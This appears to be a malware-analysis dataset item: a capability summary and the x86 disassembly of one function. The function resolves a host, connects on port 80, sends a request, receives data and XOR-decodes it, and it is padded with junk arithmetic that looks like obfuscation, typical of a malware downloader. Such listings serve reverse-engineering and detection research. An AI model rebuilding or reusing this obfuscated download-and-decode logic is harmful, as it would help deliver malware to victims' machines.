Function at 0x408560
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
lea ebp, [esp - 0x1440]
mov eax, 0x1440
call fcn.0040c720
push 0xffffffffffffffff
push 0x41e64b
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x425e98]
xor eax, ebp
mov dword [ebp + 0x143c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0x144c]
mov ecx, dword [ebp + 0x1450]
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x20], ecx
mov dword [ebp - 4], eax
mov dword [ebp + 0x1b8], 0xf
mov dword [ebp + 0x1b4], eax
mov byte [ebp + 0x1a4], al
fldz
mov edi, dword [ebp + 0x1448]
xor edx, edx
mov word [ebp - 0x1c], dx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x38], eax
fstp qword [ebp - 0x34]
fldz
mov byte [ebp + 0x11bc], dl
fstp dword [ebp - 0x24]
mov byte [ebp - 4], 1
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x3c], eax
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408607
sub eax, edx
mov ebx, eax
cmp ebx, 0x7f
jg 0x4088fb
fld qword [0x41f8e0]
xor esi, esi
cmp esi, ebx
jg 0x4086b4
fld qword [0x4257a0]
mov al, byte [esi + edi]
fsubr st(1)
mov byte [ebp + esi + 0x13bc], al
call fcn.0040b420
cmp byte [ebp + esi + 0x13bc], 0x2f
mov word [0x423198], ax
jne 0x4086ae
fstp st(0)
mov byte [ebp + esi + 0x13bc], 0
fld qword [0x41f8d8]
mov eax, esi
fld1
cmp eax, ebx
jg 0x4086ba
mov dl, byte [eax + edi]
mov ecx, eax
sub ecx, esi
mov byte [ebp + ecx + 0x11bc], dl
mov cx, word [ebp - 0x1c]
dec dword [ebp - 0x1c]
movsx edx, cx
sub edx, 0x614e930b
cmp edx, 0x8263eafc
jg 0x4086ab
fld dword [0x4257fc]
fld qword [ebp - 0x34]
fsubr st(3)
fsubp st(1)
fstp dword [0x4257fc]
fld qword [ebp - 0x34]
fsub st(1)
fstp qword [ebp - 0x34]
inc eax
jmp 0x408666
inc esi
jmp 0x408623
fstp st(0)
fld1
jmp 0x4086bc
fstp st(1)
fsubr dword [ebp - 0x24]
lea eax, [ebp + 0x11bc]
lea edx, [eax + 1]
fstp dword [ebp - 0x24]
fld dword [ebp - 0x24]
fsub qword [0x41f8d0]
fmul qword [0x424b68]
fstp qword [0x424b68]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4086e0
mov edi, dword [ebp - 0x2c]
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4086f3
sub eax, esi
add eax, edx
cmp eax, 0x1ff
ja 0x408951
mov eax, edi
mov edx, edi
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408710
lea edi, [ebp + 0x11bc]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x408720
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 5
push 0x4244e8
rep movsb byte es:[edi], byte [esi]
call fcn.00401c30
mov ecx, dword [ebp - 0x38]
mov edx, 0xc86ecc2b
sub edx, ecx
mov dword [ebp - 0x28], edx
add esp, 8
dec dword [ebp - 0x38]
mov esi, eax
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408760
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00407b60
xor eax, eax
xor edi, edi
mov dword [esi], eax
mov dword [ebp - 0x14], edi
push esi
mov dword [ebp - 0x14], edi
mov byte [esi + 4], al
call fcn.0040b25e
lea eax, [ebp + 0x11bc]
add esp, 4
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408797
sub eax, edx
push eax
lea eax, [ebp + 0x11bc]
push eax
lea ecx, [ebp + 0x1a0]
call fcn.00407d20
mov cx, word [0x423210]
fld qword [0x423388]
movsx edx, cx
mov ecx, dword [ebp - 0x3c]
mov eax, 0x91a28519
sub eax, edx
add ecx, eax
mov dword [ebp - 0x2c], ecx
push 0x32
push 0x4232b0
fild dword [ebp - 0x2c]
fsubp st(1)
fstp qword [0x423388]
call fcn.00401c30
fld qword [ebp - 0x34]
add esp, 8
fsub qword [0x41f340]
mov esi, eax
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
mov edx, dword [ebp - 0x40]
mov dword [ebp - 0x2c], edx
fild dword [ebp - 0x2c]
faddp st(1)
call fcn.0040b420
mov dword [ebp - 0x40], eax
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408815
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00407d20
push 0x32
push edi
mov dword [ebp - 0x14], edi
push esi
mov dword [ebp - 0x14], edi
call fcn.0040b840
push esi
call fcn.0040b25e
lea eax, [ebp + 0x13bc]
add esp, 0x10
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408850
sub eax, edx
push eax
lea eax, [ebp + 0x13bc]
push eax
lea ecx, [ebp + 0x1a0]
call fcn.00407d20
push 5
push 0x423188
call fcn.00401c30
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408880
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00407d20
mov ebx, 1
add word [0x424bd4], bx
mov cx, word [0x424bd4]
mov edx, dword [0x4230e0]
movsx eax, cx
imul edx, eax
mov dword [0x4230e0], edx
xor eax, eax
mov dword [esi], eax
mov dword [ebp - 0x14], edi
push esi
mov dword [ebp - 0x14], edi
mov byte [esi + 4], al
call fcn.0040b25e
add esp, 4
lea eax, [ebp]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x408920
cmp dword [ebp + 0x1b8], 0x10
jb 0x4088fb
mov ecx, dword [ebp + 0x1a4]
push ecx
call fcn.0040adee
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x143c]
xor ecx, ebp
call fcn.0040b405
add ebp, 0x1440
mov esp, ebp
pop ebp
ret
push 6
push ebx
push 2
call sub.WS2_32.dll_socket
mov esi, eax
mov dword [ebp - 0x2c], esi
cmp esi, 0xffffffff
jne 0x408963
call sub.WS2_32.dll_WSACleanup
mov edx, dword [ebp - 0x18]
sub edx, 0x72a87fd8
mov dword [ebp - 0x3c], edx
fild dword [ebp - 0x3c]
fadd dword [ebp - 0x24]
fstp dword [ebp - 0x24]
add dword [ebp - 0x18], ebx
cmp dword [ebp + 0x1b8], 0x10
jb 0x4088fb
mov eax, dword [ebp + 0x1a4]
push eax
jmp 0x4088f3
movzx ecx, word [0x423398]
imul ecx, ecx, 0xd68c58fc
mov word [0x423398], cx
cmp dword [ebp + 0x1458], edi
je 0x4089b1
mov dx, word [ebp - 0x1c]
movsx eax, dx
push 4
mov dword [ebp - 0x14], eax
lea ecx, [ebp + 0x1458]
push ecx
fild dword [ebp - 0x14]
push 0x1006
push 0xffff
push esi
fmul qword [0x424b68]
fstp qword [0x424b68]
call sub.WS2_32.dll_setsockopt
mov edx, dword [ebp - 0x18]
dec dword [ebp - 0x18]
cmp edx, 0x77866ccd
jne 0x4089d2
mov ecx, dword [0x4237c4]
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x44]
sub eax, ecx
add edx, eax
mov dword [ebp - 0x18], edx
lea eax, [ebp + 0x13bc]
push eax
call sub.WS2_32.dll_gethostbyname
cmp eax, edi
je 0x4088e3
mov edx, 2
mov word [ebp + 0x190], dx
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
push edx
call sub.WS2_32.dll_inet_ntoa
push eax
call sub.WS2_32.dll_inet_addr
push 0x50
mov dword [ebp + 0x194], eax
call sub.WS2_32.dll_htons
fld qword [0x424738]
fsub qword [0x41f8c8]
mov word [ebp + 0x192], ax
mov edi, 0x10
push edi
lea eax, [ebp + 0x190]
fstp qword [0x424738]
push eax
push esi
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x408a4e
cmp dword [ebp + 0x1b8], edi
jmp 0x4088ea
mov eax, dword [ebp + 0x1a4]
cmp dword [ebp + 0x1b8], edi
jae 0x408a62
lea eax, [ebp + 0x1a4]
mov edx, dword [ebp + 0x1b4]
push 0
push edx
push eax
push esi
call sub.WS2_32.dll_send
fld qword [ebp - 0x34]
fadd qword [0x41f340]
mov esi, eax
fstp qword [ebp - 0x34]
add word [0x423164], bx
fld qword [ebp - 0x34]
mov ax, word [0x423164]
fadd qword [0x41f8c0]
movsx ecx, ax
mov dword [ebp - 0x14], ecx
fsub qword [0x41f8b8]
fild dword [ebp - 0x14]
fcompp
fnstsw ax
test ah, 5
jp 0x408acb
mov dx, word [0x4233b4]
movsx eax, dx
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fsub dword [ebp - 0x24]
call fcn.0040b420
mov dword [ebp - 0x14], eax
jmp 0x408adf
movzx ecx, word [0x423218]
sub ecx, 0xd463d3c
mov word [0x423218], cx
cmp esi, dword [ebp + 0x1b4]
jae 0x408af2
cmp dword [ebp + 0x1b8], edi
jmp 0x408dda
mov ecx, dword [ebp - 0x20]
push 0
push 0x41f8b0
call fcn.00407b60
mov ax, word [0x42330c]
mov ecx, dword [0x424ca4]
cwde
add eax, 0xb4c1af29
add ecx, eax
mov dword [ebp - 0x14], ecx
or edi, 0xffffffff
or ebx, edi
fild dword [ebp - 0x14]
fmul dword [0x4231e8]
fstp dword [0x4231e8]
lea esp, [esp]
mov eax, dword [ebp - 0x2c]
push 0
push 0x1000
lea edx, [ebp + 0x1bc]
push edx
push eax
call sub.WS2_32.dll_recv
test eax, eax
jle 0x408cd3
push eax
lea ecx, [ebp + 0x1bc]
push ecx
mov ecx, dword [ebp - 0x20]
call fcn.00407d20
test edi, edi
jge 0x408c86
push 5
push 0x423188
call fcn.00401c30
add esp, 8
mov esi, eax
lea edx, [eax + 1]
jmp 0x408b80
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408b80
mov ecx, dword [ebp - 0x20]
sub eax, edx
push eax
push 0
push esi
call fcn.00404b20
mov edi, eax
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [esi], eax
push esi
mov dword [ebp - 0x14], eax
mov byte [esi + 4], al
call fcn.0040b25e
add esp, 4
test edi, edi
jl 0x408c86
fld qword [0x4238d0]
add edi, 4
fadd qword [0x41f340]
fstp qword [0x4238d0]
mov dx, word [0x42330c]
movsx eax, dx
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fld qword [0x4238d0]
mov ecx, dword [ebp - 0x40]
fsub qword [0x41f8a8]
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
fsubp st(1)
fsubp st(1)
call fcn.0040b420
mov edx, dword [ebp - 0x20]
push edx
mov word [0x42330c], ax
call fcn.00406dc0
mov ebx, eax
add esp, 4
mov dword [ebp - 0x24], ebx
test ebx, ebx
jge 0x408c86
push 0xb
push 0x4257d0
call fcn.00401c30
mov ecx, dword [ebp - 0x20]
add esp, 8
mov esi, eax
push 0
push esi
call fcn.004068d0
push esi
push 0xb
mov ebx, eax
call fcn.004022c0
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
add esp, 8
fsub qword [ebp - 0x34]
mov ecx, dword [ebp - 0x44]
mov dx, word [0x424b60]
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
movsx eax, dx
mov dword [ebp - 0x14], eax
faddp st(1)
fild dword [ebp - 0x14]
faddp st(1)
call fcn.0040b420
mov word [0x424b60], ax
fld qword [ebp - 0x34]
fsub qword [0x41f340]
fstp qword [ebp - 0x34]
dec dword [ebp - 0x28]
test ebx, ebx
jge 0x408cd3
mov ebx, dword [ebp - 0x24]
mov cx, word [ebp - 0x1c]
movsx edx, cx
mov dword [ebp - 0x14], edx
fild dword [ebp - 0x14]
fadd qword [0x423138]
fstp dword [ebp - 0x24]
dec dword [ebp - 0x1c]
test ebx, ebx
jl 0x408caf
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x14]
sub eax, edi
cmp eax, ebx
jae 0x408cd3
cmp dword [ebp + 0x1458], 0
je 0x408dec
mov ecx, dword [ebp - 0x20]
cmp dword [ecx + 0x14], 0x4000
jb 0x408dec
add dword [ebp - 0x28], 0x29eb3ee9
mov edx, dword [ebp - 0x2c]
push edx
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
mov ax, word [str.x5_k]
mov word [0x4246fc], ax
test edi, edi
jl 0x408d09
push edi
mov edi, dword [ebp - 0x20]
push 0
mov ecx, edi
call fcn.00406840
mov ecx, dword [0x42308c]
mov dword [ebp - 0x18], ecx
jmp 0x408d0c
mov edi, dword [ebp - 0x20]
mov bl, byte [ebp + 0x1454]
test bl, bl
je 0x408d90
xor esi, esi
cmp esi, dword [edi + 0x14]
jae 0x408d90
mov eax, 1
add dword [ebp - 0x28], eax
mov edx, dword [ebp - 0x28]
mov ecx, dword [0x423144]
add edx, 0x1e7acc56
cmp ecx, edx
je 0x408d55
mov dx, word [0x423374]
movsx ecx, dx
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
fadd qword [ebp - 0x34]
fstp qword [ebp - 0x34]
add word [0x423374], ax
cmp esi, dword [edi + 0x14]
jbe 0x408d5f
call fcn.0040ba51
cmp dword [edi + 0x18], 0x10
jb 0x408d6a
mov eax, dword [edi + 4]
jmp 0x408d6d
lea eax, [edi + 4]
xor byte [eax + esi], bl
dec dword [ebp - 0x38]
mov dx, word [0x423790]
mov ecx, dword [ebp - 0x3c]
movsx eax, dx
mov edx, dword [ebp - 0x38]
sub eax, ecx
sub eax, edx
mov word [0x423790], ax
inc esi
jmp 0x408d18
inc dword [0x423330]
fld qword [0x424c90]
fsub qword [0x41f340]
fstp qword [0x424c90]
mov eax, dword [0x423330]
mov ecx, dword [ebp - 0x18]
sub eax, 0x3785fd33
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
fld qword [0x424c90]
faddp st(2)
fsubrp st(1)
call fcn.0040b420
cmp dword [ebp + 0x1b8], 0x10
mov dword [ebp - 0x18], eax
jb 0x4088fb
mov edx, dword [ebp + 0x1a4]
push edx
jmp 0x4088f3
mov ax, word [0x423200]
dec word [0x423200]
movsx ecx, ax
add ecx, 0x49dd84cd
cmp ecx, 0x3b15c92f
jg 0x408b30
dec dword [ebp - 0x1c]
fld qword [0x424b58]
fadd qword [0x425d90]
fld dword [0x424b98]
mov dx, word [ebp - 0x1c]
fadd qword [0x41f8a0]
movsx eax, dx
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fsubp st(1)
fucompp
fnstsw ax
fld dword [0x424b98]
fadd qword [0x41f340]
fstp dword [0x424b98]
test ah, 0x44
jnp 0x408b30
mov ecx, dword [0x425cf8]
imul ecx, ecx, 0x2e22e86e
mov dword [0x425cf8], ecx
jmp 0x408b30